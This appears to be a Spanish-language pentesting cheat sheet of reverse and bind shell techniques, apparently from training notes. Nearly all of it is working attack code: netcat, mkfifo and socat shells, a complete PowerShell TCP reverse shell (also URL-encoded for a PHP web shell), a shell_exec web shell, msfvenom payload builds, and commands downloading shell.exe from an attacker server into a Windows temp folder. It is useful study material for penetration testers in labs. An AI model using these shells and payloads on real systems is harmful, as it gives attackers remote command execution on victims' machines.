Reverse shells

Tipos de reverse shell
1. Netcat la navaja suiza de la redes.
2. Socat la navaja suiza de la redes con asteroides.
3. auxiliary/multi/handler modulo de metasploit.
4. /usr/share/webshells WebShells de kali linux.
5. Pentestmonkey Link de consulta
6. Reverse Shell Cheat Shell Link de consulta
7. Repositorio Reverse Shell Link de consulta

Puertos recomendables: 80, 53 ó 443
1. Estos puertos el listener debe ejecutarse con sudo, con esto puede que supere las reglas del firewall.

Bind y Reverse Netcat shells

Reverse shell La victima de conecta al atacante.
1. Creamos el listener en la maquina atacante
```
sudo nc -lvnp [PORT]
```
2. Crear una reverse shell en el target
```
nc [TURN0] [PORT] -e /bin/bash
```
1. Opción 2
2. Creamos el listener en la maquina atacante
```
sudo nc -lvnp [PORT]
```
3. Crear una reverse shell en el target
```
 mkfifo /tmp/f; nc [TARGET] [PORT] < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
```

Bind shell la victima deja un puerto en escucha para que el atacante se conecte.

Crear una reverse shell en el target
```
nc -lvnp [PORT] -e "cmd.exe"
```
Creamos el listener en la maquina atacante
```
nc [LOCAL IP] [PORT] 
```

Opción 2

Crearemos una bind shell en el target

mkfifo /tmp/f; nc -lvnp [PORT] < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

En nuestra maquina atacante
```
nc [TARGET] [PORT] 
```

Powershell

Cuando la maquina es Windows

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Bind y Reverse Socat shells

Reverse shell
1. Creamos el listener en la maquina atacante
```
socat TCP-L:[PORT] -
```
2. Crear una reverse shell en el target en Linux
```
socat TCP:[TURN0]:[PORT] EXEC:"bash -li"
```
3. Crear una reverse shell en el target de Windows
```
socat TCP:[TURN0]:[PORT] EXEC:powershell.exe,pipes
```

Bind shell
1. Crear una reverse shell en el target en linux
```
socat TCP-L:[PORT] EXEC:"bash -li"
```
2. Crear una reverse shell en el target en windows
```
socat TCP-L:[PORT] EXEC:powershell.exe,pipes
```
3. Creamos el listener en la maquina atacante
```
socat TCP:[TARGET]:[PORT] -
```
4. Cuando socat no viene instalado
5. Por defecto Socat no viene instalado, pero podemos cargar un pre-compilado socat binary Link de descarga
6. Montar un web server, se tiene que montar donde esta guardado el socat
```
sudo python3 -m http.server 80
```
7. Montar un web server en la maquina target
```
sudo python –m SimpleHTTPServer
```
8. Ir a windows y abrir Powershell
```
Invoke-WebRequest -uri http://[TURN0]socat.exe -outfile C:\\Windows\temp\socat.exe
```
```
 Invoke-WebRequest -uri http://10.10.10.123:80/socat -outfile C:\\Windows\temp\socat.exe
```
9. Comprobamos que se subió el archivo
10. Ahora ponemos un listener con socat
```
socat TCP-L:[PORT] -
```
11. Ahora nos vamos a windows y ejecutamos el comando en powershell
```
socat TCP:[TURN0]:[PORT] EXEC:powershell.exe,pipes
```

WebShell

Reverse shell

Podemos generar un archivo por medio de Pentestmonkey

Creamos un archivo llamado php-reverse-shell.php

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>

Subimos el archivo
Al final de la URL le agregamos
```
?cmd=
```
Probamos con los siguientes comandos, para comprobar que tenemos acceso
```
ipconfig, whoami, hostname, arch
```
Si en caso que el php se ejecuta en un Windows Server, necesitamos correr un reverse shell en powershell

Modificaremos el IP y el PORT de la URL Encoded Power

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

Ponemos un listener en escucha
```
nc –lvnp
```

Msfvenom

Staged Shell
1. Staged se envían en dos partes. La primera parte se llama stager. Este es un fragmento de código que se ejecuta directamente en el servidos. Se conecta de nuevo a un oyente en espera, pero en realidad no contiene ningún código de Shell inverso por si mismo. En su lugar, se conecta al oyente y usa la conexión para cargar el payload real, ejecutándola directamente y evitando que toque el disco donde podría ser atrapado por las soluciones de antivirus tradicionales. Por lo tanto, la carga útil se divide en dos partes: una pequeña etapa inicial, luego el código de Shell inverso más voluminoso que de descarga cuando se activa la etapa. El payload por etapas requieren un oyente inicial especial, generalmente el manejador/multiple Metasploit, que se tratara en la siguiente tarea.
2. Buscamos primero la shell
```
msfvenom --list payloads | grep “<OS>/<arch>/<payload>”
```
  Powershell
```
msfvenom --list payloads | grep “windows/x64/meterpreter/reverse_tcp” 
```
  Linux
```
msfvenom --list payloads | grep “linux/x86/meterpreter_reverse_tcp" 
```
Configuramos la shell
```
msfvenom -p [PAYLOAD] [OPTIONS]
```

Generar una reverse shell:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=[TURN0] LPORT=[LISTE-PORT]

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=10.10.10.123 LPORT=443

Subimos el archivo mediante WebServer
```
sudo python3 -m http.server 80
```

Abrimos PowerShell en la maquina objetivo y descargamos la shell

Invoke-WebRequest -uri http://[TURN0]:[PORT]/<reverse-file> -outfile C:\\Windows\temp\shell.exe

Invoke-WebRequest -uri http://10.10.10.123:80/shell.exe -outfile C:\\Windows\temp\shell.exe

Abrir metasploit
```
msfconsole -q
```
```
use multi/handler
```
Configuramos el PAYLOAD, LHOST Y LPORT

set PAYLOAD [PAYLOAD]

set LHOST [TURN0]

set LPORT [LISTEN-PORT]

Ejecutamos

exploit -j

Nos vamos a Windows y nos metemos a la carpeta donde se almaceno la shell.exe
1. Damos doble click al ejecutable
En la consola de metasploit vemos que se cargó correctamente
Nos dice que la session se cargo exitosamente
Cargamos la session
```
sessions [SESSION NUM]
```
Entramos a la consola de Windows

Stagless Shell
1. Stageless Son los más comunes, son completamente autónomos en el sentido de que hay una pieza de código que, cuando se ejecuta, envía un Shell inmediatamente al oyente que espera.
2. Configuramos la shell
```
msfvenom -p [PAYLOAD] [OPTIONS] 
```
3. Generar una reverse shell:
```
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=[TURN0] LPORT=[LISTEN-PORT]
```
```
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.10.123 LPORT=443
```
4. Subimos el archivo mediante WebServer
```
sudo python3 -m http.server 80
```
5. Abrimos PowerShell en la maquina objetivo y descargamos la shell
```
Invoke-WebRequest -uri http://[TURN0]:[PORT]/[REVERSE-FILE] -outfile C:\\Windows\temp\shell.exe
```
```
Invoke-WebRequest -uri http://10.10.10.123:80/shell.exe -outfile C:\\Windows\temp\shell.exe
```
6. Habilitamos el listener en nuestra maquina atacante
```
nc -lvp [PORT] 
```
7. Nos vamos a Windows y nos metemos a la carpeta donde se almaceno la shell.exe
  1. Damos doble click al ejecutable
  2. Entramos a la consola de Windows
8. Es recomendable usuar rlwrap para poder estabilizar la shell en windows

rlwrap pasos para generar una shell, nos da acceso al historial, el auto completado de pestañas y teclas de flecha inmediatamente después de recibir un shell, este tipo de shell es mucho mas complejo y es técnicamente particular cuando se trata de una Shell de Windows, que son notoriamente difíciles de estabilizar.
1. Nota se debe seguir utilizando alguna estabilización manual si desea usar Ctrl + C dentro del shell
1. 1. Instalar la Shell rlwrap
```
sudo apt install rlwrap 
```
2. 2. Invocamos un oyente
```
rlwrap nc -lvp 
```
3. 3. Ejecutar el shell en segundo plano usando el comando
```
Ctrl + z 
```
4. 4. Ejecutar para que se apague el echo de nuesta terminal (solo cuando el objetivo sea Linux)
```
stty raw -echo; fg 
```

Tratamiento de TTY

Python

1. Ejecutar para generar un Shell Bash

python -c 'import pty;pty.spawn("/bin/bash")'

Nota: algunos objetivos necesitan especificar la version correcta de Pyhon

Reemplazar la version de Python por: Python, Python2 ó Python3

2. Ejecutar para generar comando como clear

export TERM=xterm

3. Ejecutar el shell en segundo plano usando el comando

Ctrl + z

4. Renovar la terminal de segundo plano

stty raw -echo; fg

Tenga en cuenta que si el Shell muere, cualquier entrada en su propio terminal no será visible (como resultado de haber desactivado el echo del terminal).

Solución, escribir

reset

Bash

1. Ejecutar el siguiente comando

script /dev/null -c bash

2. Ejecutar la siguientes teclas

Ctrl +z

3. Ejecutar el siguiente comando

stty -echo; fg

4. Ejecutar el siguiente comando

reset

5. Nos pedirá el tipo de terminal

Terminal type? Xterm

6. Configuramos la terminal

echo $TERM

export TERM=xterm

export SHELL=bash

echo $TERM

7. Configuración de tamaño de pantalla

stty -a

speed 38400 baud; rows 24; columns 80; line = 0;

stty rows 43 columns 171